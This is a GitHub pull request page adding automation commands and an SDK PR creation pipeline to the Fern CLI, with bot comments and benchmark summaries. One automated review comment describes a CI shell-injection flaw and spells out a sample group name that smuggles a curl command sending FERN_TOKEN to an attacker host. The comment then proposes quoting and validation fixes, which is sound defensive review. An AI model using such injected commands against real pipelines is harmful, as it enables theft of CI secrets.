feat(cli): add automation commands and SDK PR creation pipeline#14855
feat(cli): add automation commands and SDK PR creation pipeline#14855fern-support merged 5 commits intomainfrom
Conversation
Add `automation` field at root, group, and generator levels with cascading resolution (generator → group → root → default true). Supports generate, upgrade, preview, and verify feature flags.
There was a problem hiding this comment.
Claude Code Review
This repository is configured for manual code reviews. Comment @claude review to trigger a review and subscribe this PR to future pushes, or @claude review once for a one-time review.
Tip: disable this comment in your organization's Code Review settings.
🌱 Seed Test SelectorSelect languages to run seed tests for:
How to use: Click the ⋯ menu above → "Edit" → check the boxes you want → click "Update comment". Tests will run automatically and snapshots will be committed to this PR. |
Extract parseGeneratorArg into shared filterGenerators.ts so both `fern generate --generator 0` and `fern automations generate --generator 0` use the same code path. Index-based selection now works on the public generate command too. Extract enrichPrBodyForAutomation and shouldEnableAutomerge from GithubStep into testable functions. Add tests for: - parseGeneratorArg (7 tests): index, name, edge cases - filterGenerators (11 tests): index, name, duplicates, bounds - enrichPrBodyForAutomation (8 tests): breaking changes, run_id - shouldEnableAutomerge (7 tests): all flag combinations Rename `fern automations list-generate` → `fern automations list generate` (nested subcommand). Fix multi-API --api inclusion to use workspaceName presence instead of workspace count.
| * This preserves 1:1 mapping between spec commits and SDK releases. | ||
| * - **No-diff detection**: If generation produces output identical to the SDK repo's default | ||
| * branch, the PR/push is skipped entirely. | ||
| * - **Breaking change detection**: When `--version AUTO` determines a MAJOR bump, the PR body |
There was a problem hiding this comment.
Unquoted shell command strings in
fern automations list generate output enable CI injection
The addAutomationsListGenerateCommand handler builds shell command strings with parts.join(" "), embedding group.groupName (from generators.yml) and workspace.workspaceName without any shell quoting or escaping. These raw strings are emitted as a JSON array to stdout.
The inline documentation explicitly shows the intended consumption pattern as run: ${{ matrix.command }} in GitHub Actions — a known injection vector where expressions are expanded by the runner before the shell sees them. If a group name in generators.yml contains shell metacharacters (;, &&, |, $(...), backticks), a workflow that runs fern automations list generate against a PR-branch's generators.yml would produce command strings that execute attacker-injected commands in the CI runner, with full access to FERN_TOKEN, GITHUB_TOKEN, and other workflow secrets.
YAML map keys (group names) can legally contain semicolons, pipe characters, and dollar signs — only bare colons followed by a space are disallowed. A generator group named sdk; curl https://attacker.com/exfil?t=$FERN_TOKEN in a PR-modified generators.yml would produce an exploitable command string.
Prompt To Fix With AI
In `addAutomationsListGenerateCommand`, replace the `parts.join(" ")` approach with properly shell-quoted command strings. Each argument value that comes from external sources (group names, workspace names, version strings) must be quoted.
Option 1 — shell-quote each value before joining:
```typescript
import { quote } from "shell-quote"; // or use a custom quoting function
// Replace:
commands.push(parts.join(" "));
// With (quoting only the value tokens, not the flags):
const quotedParts: string[] = [];
for (let i = 0; i < parts.length; i++) {
const part = parts[i]!;
// Quote any part that is a value (follows a flag starting with --)
const isFlag = part.startsWith("--") || ["fern", "automations", "generate"].includes(part);
quotedParts.push(isFlag ? part : quote([part]));
}
commands.push(quotedParts.join(" "));
```
Option 2 (simpler and more robust) — emit structured JSON objects instead of flat command strings, and have the GitHub Actions workflow reconstruct the command safely:
```typescript
// Instead of emitting strings, emit structured objects:
commands.push({
api: workspace.workspaceName,
group: group.groupName,
generator: String(i),
version: argv.version,
autoMerge: argv["auto-merge"]
});
```
Then in the GitHub Actions workflow use a script step that constructs the command from the structured object with proper quoting, rather than passing an opaque shell string through `${{ matrix.command }}`.
Also add validation/rejection of group names and workspace names that contain characters outside `[A-Za-z0-9_\-.]` to provide defense-in-depth.Severity: medium | Confidence: 62%
SDK Generation Benchmark ResultsComparing PR branch against latest nightly baseline on Full benchmark table (click to expand)
main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via |
…eneration automation
…generators-yml # Conflicts: # packages/cli/cli/versions.yml
SDK Generation Benchmark ResultsComparing PR branch against latest nightly baseline on Full benchmark table (click to expand)
main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via |
…kipCommit scenarios
SDK Generation Benchmark ResultsComparing PR branch against latest nightly baseline on Full benchmark table (click to expand)
main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via |
Summary
Refs FER-9671
Implements the CLI side of the Fern Automations SDK generation pipeline. This PR adds hidden
fern automationscommands for GitHub Actions integration, automation behaviors in the post-generation pipeline (GithubStep), and foundational schema work for theautomation:block ingenerators.yml.New CLI commands (hidden, for GitHub Actions)
fern automations list generate— Discovers generators and outputs a JSON array offern automations generatecommands for GitHub Actions matrix fan-out:fern automations list generate --group sdk --version AUTO --auto-merge # Output: ["fern automations generate --api foo --group sdk --generator 0 --version AUTO --auto-merge", ...]fern automations generate— Runs generation for a single generator in automation mode:Automation behaviors (GithubStep)
When
automationMode: true(implicit in theautomationscommand):--version AUTOdetermines a MAJOR bump, PR body includes a breaking changes sectionFERN_RUN_IDenv var is included in PR body for cross-repo tracingIndex-based generator targeting
Both
fern generateandfern automations generatenow support--generator 0(0-based index) in addition to--generator <name>. This handles the case where a group has multiple generators with the same name (e.g., two TypeScript SDK entries publishing to different repos).Remote generation plumbing
automationMode,autoMerge, andrunIdare threaded through the full remote generation call chain tocreateAndStartJob. The Fiddle API fields are commented out pending FER-9726 (schema update).generators.yml
automation:block (from first commit)Adds
automation:field at root, group, and generator levels with cascading resolution (generator → group → root → defaulttrue). Supportsgenerate,upgrade,preview, andverifyfeature flags. Thelist generatecommand respectsautomation.generate: falseto exclude disabled generators.GitHub Actions integration
The
fern-api/fern-generateaction (FER-9728) will use a two-job pattern:Follow-up tickets
createJobV3API to accept automation flagsfern-api/fern-generateGitHub ActionTest plan
filterGeneratorstests (11 tests): index, name, duplicates, out of bounds, no filterparseGeneratorArgtests (7 tests): index parsing, name passthrough, edge casesenrichPrBodyForAutomationtests (8 tests): breaking changes, run_id, combinationsshouldEnableAutomergetests (7 tests): all flag combinationsfern generatecommand🤖 Generated with Claude Code